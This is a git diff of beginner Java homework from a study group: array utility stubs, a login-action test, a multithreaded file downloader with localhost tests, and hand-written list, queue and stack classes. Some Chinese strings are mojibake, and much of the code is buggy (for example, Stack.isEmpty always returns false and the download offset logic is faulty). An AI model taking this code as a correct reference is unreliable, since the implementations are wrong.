+		return null;
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max){
+		return null;
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max){
+		return null;
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+		return null;
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+		return null;
+	}
+	
+
+}
diff --git a/group23/1072760797-skomefen/day3-19/src/com/coderising/litestruts/StrutsTest.java b/group23/1072760797-skomefen/day3-19/src/com/coderising/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..847b3ae7d4
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-19/src/com/coderising/litestruts/StrutsTest.java
@@ -0,0 +1,54 @@
+package com.coderising.litestruts;
+
+
+
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+       
+	
+        View view = Struts.runAction(actionName,params);
+	 
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一�?
+        
+
+        View view = Struts.runAction(actionName,params);
+	   
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java
new file mode 100644
index 0000000000..66024b0ccf
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java
@@ -0,0 +1,65 @@
+package com.coderising.download;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
+import com.coderising.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	private Connection conn;
+	private int startPos;
+	private int endPos;
+	private byte[] b = null;
+	private static Lock lock = new ReentrantLock();
+	private static int index=0;
+	
+	static FileOutputStream file = null;
+	static{
+		try {
+			file = new FileOutputStream(new File("e://readme.txt"));
+		} catch (FileNotFoundException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+	}
+	
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+		try {
+			this.b =  conn.read(startPos, endPos);
+		} catch (IOException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+			throw new RuntimeException();
+		}finally{
+			conn.close();
+		}
+
+	}
+	public void  run(){	
+		if(lock.tryLock()){
+			if(index==startPos){
+				try {
+					if (file!=null) {
+						file.write(b);
+					}
+					index=endPos+1;
+				} catch (IOException e) {
+					e.printStackTrace();
+					throw new RuntimeException();
+				}
+	
+			}else{
+				lock.unlock();
+			}
+		}
+	}
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java
new file mode 100644
index 0000000000..ed4a1cf9a1
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java
@@ -0,0 +1,89 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();	
+			
+			if(length%3==0){
+				for(int i=1;i<=3;i++){
+					int startPos = length/3*i-1;
+					int endPos = length/3*(i-1);
+					new DownloadThread(conn, endPos, startPos).start();
+				}
+			}else{
+				for(int i=1;i<=2;i++){
+					
+					int startPos = length/3*(i-1);
+					int endPos = length/3*i-1;
+					new DownloadThread(conn, startPos, endPos).start();
+				}
+				int startPos = length/3*2;
+				new DownloadThread(conn, startPos, length).start();
+			}
+			
+			listener.notifyFinished();
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..ce99026d2b
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java
@@ -0,0 +1,58 @@
+package com.coderising.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://localhost:8080/TimeCapsule/readme.txt";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java
new file mode 100644
index 0000000000..3982b8e310
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java
@@ -0,0 +1,24 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 * 
+	 */
+	public void close();
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java
new file mode 100644
index 0000000000..1551a80b3d
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..ae639d2651
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java
@@ -0,0 +1,143 @@
+package com.coderising.download.impl;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URL;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+	
+	private String url = null;
+	private InputStream in = null;
+
+
+	public ConnectionImpl(String url) {
+		this.url = url;
+		
+		
+	}
+
+	public byte[] read(int startPos, int endPos) throws IOException {
+		
+		try {
+			if(url==null||url.trim()==""){
+				return null;
+			}
+			
+			URL u = new URL(url);
+			in = u.openStream();
+			
+			
+		} catch (Exception e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+		
+		if(in==null){
+			return null;
+		}
+		byte[] read = insert(startPos, endPos);
+
+		return read;
+	}
+
+	private byte[] insert(int startPos, int endPos) throws IOException {
+		byte[] b = new byte[1024];
+		int len = 0;
+		int index = 0;
+		byte[] read = new byte[endPos-startPos+1];
+		
+		while((len=in.read(b))>0){
+			if((index+1024)<=startPos){
+				index+=1024;
+				continue;
+			}
+			
+			if(index<=startPos&&startPos<(index+1024)){
+				
+				if(endPos<(index+1024)){
+					for(int i=0,j=startPos-index;i<read.length;i++,j++){
+						read[i]=b[j];
+					}
+					index+=1024;
+					break;
+				}else{
+				
+					for(int i=0,j=startPos-index;i<(index+1024-startPos);i++,j++){
+						read[i]=b[j];
+					}
+				}
+				
+			}
+			
+			if(startPos<index){
+				
+				if(endPos<(index+1024)){
+					for(int i=0,j=index-startPos;i<(endPos-index+1);i++,j++){
+						read[j] = b[i];
+					}
+					index+=1024;
+					break;
+
+				}
+				
+				for(int i=0,j=index;i<1024;i++,j++){
+					read[j] = b[i];
+				}
+				
+			}
+			
+			
+			index+=1024;
+		}
+		return read;
+	}
+
+	public int getContentLength() {
+		
+		if(url==null||url.trim()==""){
+			return 0;
+		}
+		
+		try{
+		
+		URL u = new URL(url);
+		in = u.openStream();
+		if(in==null){
+			return 0;
+		}
+		int length = in.available();
+		return length;
+		}catch(Exception e){
+			e.printStackTrace();
+			throw new RuntimeException();
+		}finally{
+			try {
+				if(in!=null){
+					in.close();
+				}
+			} catch (IOException e) {
+				// TODO Auto-generated catch block
+				e.printStackTrace();
+			}
+		}
+		
+	}
+
+	public void close() {
+		
+
+		try {
+			if(in!=null){
+				in.close();
+			}
+		} catch (IOException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..a338036bf8
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,16 @@
+package com.coderising.download.impl;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	Connection conn = null;
+	
+	public Connection open(String url) throws ConnectionException {
+		
+		return conn = new ConnectionImpl(url);
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java b/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java
new file mode 100644
index 0000000000..dcd1254a2a
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java
@@ -0,0 +1,92 @@
+/**
+ * 
+ */
+package junit.test;
+
+import static org.junit.Assert.*;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.MalformedURLException;
+import java.net.URL;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.impl.ConnectionImpl;
+
+/**
+ * @author Oliver
+ *
+ */
+public class ConnectionImplTest {
+	
+	Connection conn = null;
+	InputStream in = null;
+	
+	@Before
+	public void setUp() throws Exception {
+		String url = "http://localhost:8080/TimeCapsule/readme.txt";
+		conn = new ConnectionImpl(url);
+		
+		URL u = new URL(url);
+		in =  u.openStream();
+	}
+
+	
+	@After
+	public void tearDown() throws Exception {
+	}
+
+
+	@Test
+	public void testRead() throws IOException {
+		
+		byte[] connbuffer = conn.read(0, 99);
+		Assert.assertEquals(100, connbuffer.length);
+		byte[] connbuffer2 = conn.read(0, 99);
+		Assert.assertArrayEquals(connbuffer,connbuffer2);
+		
+		
+		byte[] b = new byte[100];
+		in.read(b);
+
+		Assert.assertArrayEquals(b, conn.read(0, 99));
+		
+		byte[] b1 = new byte[50];
+		for(int i=0;i<50;i++){
+			b1[i]=b[50+i];
+		}
+		
+		Assert.assertArrayEquals(b1, conn.read(50, 99));
+		
+		
+
+	}
+
+
+	@Test
+	public void testGetContentLength() throws Exception {
+		
+		byte[] b = new byte[1024];
+		int len = 0;
+		int count = 0;
+		while((len=in.read(b))>0){
+			count+=len;
+		}
+		Assert.assertEquals(count, conn.getContentLength());
+		
+	}
+
+
+	@Test
+	public void testClose() {
+		conn.close();
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java b/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java
new file mode 100644
index 0000000000..589c1bf1d2
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java
@@ -0,0 +1,31 @@
+package junit.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.impl.ConnectionImpl;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class ConnectionManagerImplTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+
+	@Test
+	public void testOpen() throws ConnectionException {
+		ConnectionManager cm = new ConnectionManagerImpl();
+		String url = "http://localhost:8080/TimeCapsule/readme.txt";
+		Connection conn = cm.open(url);
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java b/group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java
new file mode 100644
index 0000000000..5ae230e97b
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java
@@ -0,0 +1,77 @@
+package junit.test;
+
+import static org.junit.Assert.*;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+
+
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.DownloadThread;
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class DownloadThreadTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@Test
+	public void testRun() throws ConnectionException, IOException {
+		ConnectionManager cm = new ConnectionManagerImpl();
+		String url = "http://localhost:8080/TimeCapsule/readme.txt";
+		Connection conn = cm.open(url);
+		DownloadThread dt = new DownloadThread(conn, 0, conn.getContentLength());
+		dt.start();
+		
+		File file = new File("e://readme.txt");
+		FileInputStream in  = new FileInputStream(file);
+		byte[] b = new byte[10];
+		int len = 0;
+		ArrayList<byte[]> a = new ArrayList<byte[]>();
+		while((len=in.read(b))>0){
+			a.add(b);
+		}
+
+		int length = conn.getContentLength();
+		if(length%3==0){
+			for(int i=1;i<=3;i++){
+				int startPos = length/3*i-1;
+				int endPos = length/3*(i-1);
+				new DownloadThread(conn, endPos, startPos).start();
+			}
+		}else{
+			for(int i=1;i<=2;i++){
+				
+				int startPos = length/3*(i-1);
+				int endPos = length/3*i-1;
+				new DownloadThread(conn, startPos, endPos).start();
+			}
+			int startPos = length/3*2;
+			new DownloadThread(conn, startPos, length).start();
+		}
+		
+		file = new File("e://readme.txt");
+		in  = new FileInputStream(file);
+		b = new byte[10];
+		len = 0;
+		ArrayList<byte[]> a1 = new ArrayList<byte[]>();
+		while((len=in.read(b))>0){
+			a1.add(b);
+		}
+		for(int i = 0;i<a.size()||i<a1.size();i++){
+			Assert.assertArrayEquals(a.get(i), a1.get(i));
+		}
+		
+	}
+
+}
diff --git a/group23/1246614258/src/com/coding/datastructs/ArrayList.java b/group23/1246614258/src/com/coding/datastructs/ArrayList.java
new file mode 100644
index 0000000000..bf8da9cccc
--- /dev/null
+++ b/group23/1246614258/src/com/coding/datastructs/ArrayList.java
@@ -0,0 +1,98 @@
+package com.coding.datastructs;
+
+import java.util.ConcurrentModificationException;
+import java.util.NoSuchElementException;
+
+
+public class ArrayList implements List {
+	
+	private int size = 0;
+	
+	private Object[] elementData = null;
+	
+	public ArrayList(){
+		size=0;
+		elementData=new Object[10];
+	}
+	
+	public void add(Object o){
+		size();
+		elementData=grow(elementData,1);
+		elementData[size] = o;
+	}
+	public void add(int index, Object o){
+		 size();
+		if (index >size || index < 0||index == size)
+		    throw new IndexOutOfBoundsException(
+			"Index: "+index+", Size: "+size);
+		Object temp = elementData;
+		elementData=grow(elementData,1);  // Increments modCount!!
+		System.arraycopy(temp, index, elementData, index + 1,
+				 size - index);
+		elementData[index] = o;
+	}
+	
+	public Object get(int index){
+		size();
+		if (index > size || index < 0 ||index == size)
+		    throw new IndexOutOfBoundsException(
+			"Index: "+index+", Size: "+size);
+		return elementData[index];
+	}
+	
+	public Object remove(int index){
+		size();
+		if (index > size || index < 0 ||index == size)
+		    throw new IndexOutOfBoundsException(
+			"Index: "+index+", Size: "+size);
+		Object tempData = elementData[index];
+		System.arraycopy(elementData, index+1, elementData, index,
+				 size - index);
+		return tempData;
+	}
+	
+	public int size(){
+		for(int i=0;i<elementData.length;i++){
+			if(null==elementData[i]){
+				size=i;
+				break;
+			}
+		}
+		return size;
+	}
+	public static Object[] grow(Object[] src,int size){
+		Object[] target = new Object[src.length+size];
+		System.arraycopy(src, 0, target, 0, src.length);
+		return target;
+	} 
+	public Iterator iterator(){
+		return new Itera();
+	}
+	private class Itera implements Iterator{
+		int cursor; 
+		int lastRet = -1; 
+
+		
+		public boolean hasNext() {
+			size();
+			// TODO Auto-generated method stub
+			return cursor!=size;
+		}
+		public Object next() {
+			// TODO Auto-generated method stub
+			int i = cursor;
+            if (i >= size)
+                throw new NoSuchElementException();
+            Object[] elementData = ArrayList.this.elementData;
+            if (i >= elementData.length)
+                throw new ConcurrentModificationException();
+            cursor = i + 1;
+            return  elementData[lastRet = i];
+		}
+
+		
+}
+	
+	
+	
+}
diff --git a/group23/1246614258/src/com/coding/datastructs/Iterator.java b/group23/1246614258/src/com/coding/datastructs/Iterator.java
new file mode 100644
index 0000000000..56acec15a3
--- /dev/null
+++ b/group23/1246614258/src/com/coding/datastructs/Iterator.java
@@ -0,0 +1,7 @@
+package com.coding.datastructs;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group23/1246614258/src/com/coding/datastructs/LinkedList.java b/group23/1246614258/src/com/coding/datastructs/LinkedList.java
new file mode 100644
index 0000000000..cd5de44121
--- /dev/null
+++ b/group23/1246614258/src/com/coding/datastructs/LinkedList.java
@@ -0,0 +1,229 @@
+package com.coding.datastructs;
+
+public class LinkedList implements List{
+
+	private Node head;
+	private int size ;
+
+	public LinkedList() {
+		size = 0;
+		head=new Node();
+	}
+
+	public void add(Object o) {
+		Node pnew = new Node();
+		pnew.setData(o);
+		pnew.next = null;
+		if(null==head.getNext()){
+			head.setNext(pnew);
+			return;
+		}
+		Node ptr = head.getNext();
+		Node ptr1 = new Node();
+		
+		while (ptr != null) {
+			ptr1 = ptr;
+			ptr = ptr.getNext();
+		}
+		ptr1.next = pnew;
+
+	}
+
+	public void add(int index, Object o) {
+		size();
+		if (index > size || index < 0)
+			throw new IndexOutOfBoundsException("Index: " + index + ", Size: "
+					+ size);
+		Node ptr;
+		Node ptemp = new Node();
+		;
+		Node pnew;// ʵ�����½ڵ�
+		ptr = head.getNext();
+		int i = 0;
+		if (ptr == null && size == 0) {
+			System.out.println("��������ʧ�ܣ�");
+		}
+		while (ptr != null) {
+			ptemp = ptr;
+			if (index == 0) {
+				pnew = new Node();
+				pnew.setData(o);
+				pnew.setNext(ptr);
+				head.setNext(pnew);
+				break;
+			}
+			if (index == i && index > 0) {
+				ptemp = getNode(i-1);
+				pnew = new Node();
+				pnew.setData(o);
+				pnew.setNext(ptr);
+				ptemp.setNext(pnew);//
+				System.out.println("��������" + o + "�ɹ���");
+				break;
+			}
+			ptr = ptr.getNext();
+			i++;
+		}
+		if (ptr == null && size > 0) {
+			pnew = new Node();
+			pnew.setData(o);
+			pnew.setNext(null);
+			ptemp.setNext(pnew);//
+			System.out.println("��������" + o + "�ɹ���");
+		}
+
+	}
+
+	public Object get(int index) {
+		size();
+		if (index > size || index < 0 || index == size)
+			throw new IndexOutOfBoundsException("Index: " + index + ", Size: "
+					+ size);
+		Node ptr = head.getNext();
+		Object tempData = null;
+		int i = 0;
+		while (ptr != null) {
+			if (index == i) {
+				tempData = ptr.getData();
+			}
+			ptr = ptr.getNext();
+			i++;
+		}
+
+		return tempData;
+	}
+
+	public Node getNode(int index) {
+		size();
+		if (index > size || index < 0 || index == size)
+			throw new IndexOutOfBoundsException("Index: " + index + ", Size: "
+					+ size);
+		Node ptr = head.getNext();
+		Node tempData = null;
+		int i = 0;
+		while (ptr != null) {
+			if (index == i) {
+				tempData = ptr;
+			}
+			ptr = ptr.getNext();
+			i++;
+		}
+
+		return tempData;
+	}
+
+	public Object remove(int index) {
+		size();
+		if(size()==0){
+			throw new NullPointerException("list�ڲ�Ϊ�գ�����ɾ������");
+		}
+		if (index > size || index < 0 || index == size)
+			throw new IndexOutOfBoundsException("Index: " + index + ", Size: "
+					+ size);
+		Node ptr = head.getNext();
+		Node ptrNext = new Node();
+		Object tempData = null;
+		int i = 0;
+		while (ptr != null) {
+			if (index == 0) {
+				ptrNext = ptr.getNext();
+				head.setNext(ptrNext);
+				break;
+			}
+			if (index == i && index > 0) {
+				Node ptrprevious = getNode(i - 1);
+				tempData = ptr.getData();
+				ptrprevious.setNext(ptr.getNext());
+				break;
+			}
+			ptr = ptr.getNext();
+			i++;
+		}
+		return tempData;
+	}
+
+	public int size() {
+		int i = 0;
+		Node ptr = head.getNext();
+		while (ptr != null) {
+			ptr = ptr.getNext();
+			i++;
+		}
+		size = i;
+		return size;
+	}
+
+	public void addFirst(Object o) {
+		add(0,o);
+
+	}
+
+	public void addLast(Object o) {
+		/*Node ptr = head.getNext();
+		Node pnew = new Node();
+		pnew.setData(o);
+		Node ptemp = new Node();
+		if (ptr == null) {
+			head.setNext(pnew);
+		} else {
+			while (ptr != null) {
+				ptemp = ptr;
+				ptr = ptr.getNext();
+			}
+			if (ptr == null) {
+				ptemp.setNext(pnew);
+			}
+		}*/
+		add(size(),o);
+
+	}
+
+	public Object removeFirst() {
+		Node ptr = head.getNext();
+		Object temp = null;
+		if (ptr == null) {
+			throw new NullPointerException("LinkedList���������ݣ����ܽ���ɾ������");
+		} else {
+			temp = ptr.getData();
+			remove(0);
+		}
+
+		return temp;
+	}
+
+	public Object removeLast() {
+		size();
+		Node ptr = head.getNext();
+		Object temp = null;
+		if (ptr == null) {
+			throw new NullPointerException("LinkedList���������ݣ����ܽ���ɾ������");
+		} else {
+			temp = remove(size - 1);
+		}
+
+		return temp;
+	}
+
+	private static class Node {
+		Object data;
+		Node next;
+
+		public Object getData() {
+			return data;
+		}
+
+		public void setData(Object data) {
+			this.data = data;
+		}
+
+		public Node getNext() {
+			return next;
+		}
+
+		public void setNext(Node next) {
+			this.next = next;
+		}
+
+	}
+
+}
diff --git a/group23/1246614258/src/com/coding/datastructs/List.java b/group23/1246614258/src/com/coding/datastructs/List.java
new file mode 100644
index 0000000000..35ece31ca6
--- /dev/null
+++ b/group23/1246614258/src/com/coding/datastructs/List.java
@@ -0,0 +1,9 @@
+package com.coding.datastructs;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/1246614258/src/com/coding/datastructs/MyIterator.java b/group23/1246614258/src/com/coding/datastructs/MyIterator.java
new file mode 100644
index 0000000000..be827a7875
--- /dev/null
+++ b/group23/1246614258/src/com/coding/datastructs/MyIterator.java
@@ -0,0 +1,35 @@
+package com.coding.datastructs;
+
+import java.util.Iterator;
+
+public class MyIterator {
+	public Iterator iterator(){
+		return null;
+	}
+	private class Itera implements Iterator<Object>{
+		int cursor; 
+		int lastRet = -1; 
+
+		@Override
+		public boolean hasNext() {
+			// TODO Auto-generated method stub
+			return false;
+		}
+
+		@Override
+		public Object next() {
+			// TODO Auto-generated method stub
+			return null;
+		}
+
+		@Override
+		public void remove() {
+			// TODO Auto-generated method stub
+			
+		}
+
+		
+		
+	}
+	
+}
diff --git a/group23/1246614258/src/com/coding/datastructs/Queue.java b/group23/1246614258/src/com/coding/datastructs/Queue.java
new file mode 100644
index 0000000000..4e36db418a
--- /dev/null
+++ b/group23/1246614258/src/com/coding/datastructs/Queue.java
@@ -0,0 +1,30 @@
+package com.coding.datastructs;
+	public class Queue{
+		private LinkedList list = new LinkedList();
+		
+		public void enQueue(Object o){	
+			list.add(o);
+		}
+		
+		public Object deQueue(){
+			if (list.size()<=0) {
+				throw new NullPointerException("Queue���������ݣ����ܽ���ɾ������");
+			}
+			Object o = list.get(0);
+			list.removeFirst();
+			return o;
+		}
+		
+		public boolean isEmpty(){
+			int count = size();
+			if(count<0){
+				return true;
+			}
+			return false;
+		}
+		
+		public int size(){
+			return list.size();
+		}
+	}
+
diff --git a/group23/1246614258/src/com/coding/datastructs/Stack.java b/group23/1246614258/src/com/coding/datastructs/Stack.java
new file mode 100644
index 0000000000..269f3c900e
--- /dev/null
+++ b/group23/1246614258/src/com/coding/datastructs/Stack.java
@@ -0,0 +1,33 @@
+package com.coding.datastructs;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){	
+		elementData.add(o);
+	}
+	
+	public Object pop(){
+		if (elementData.size()<=0) {
+			throw new NullPointerException("Stack���������ݣ����ܽ���ɾ������"); 
+		}
+		Object data = elementData.get(elementData.size()-1);
+		elementData.remove(size()-1);
+		return data;
+	}
+	
+	public Object peek(){
+		Object data = elementData.get(elementData.size()-1);
+		return data;
+	}
+	public boolean isEmpty(){
+		if(elementData.size()>0){
+			return false;
+		}else{
+			return false;	
+		}
+	}
+	public int size(){
+		return elementData.size();
+	}
+}
diff --git a/group23/1246614258/src/com/coding/test/ArrayListTest.java b/group23/1246614258/src/com/coding/test/ArrayListTest.java
new file mode 100644
index 0000000000..76ba571c78
--- /dev/null
+++ b/group23/1246614258/src/com/coding/test/ArrayListTest.java
@@ -0,0 +1,32 @@
+package com.coding.test;
+import com.coding.datastructs.ArrayList;
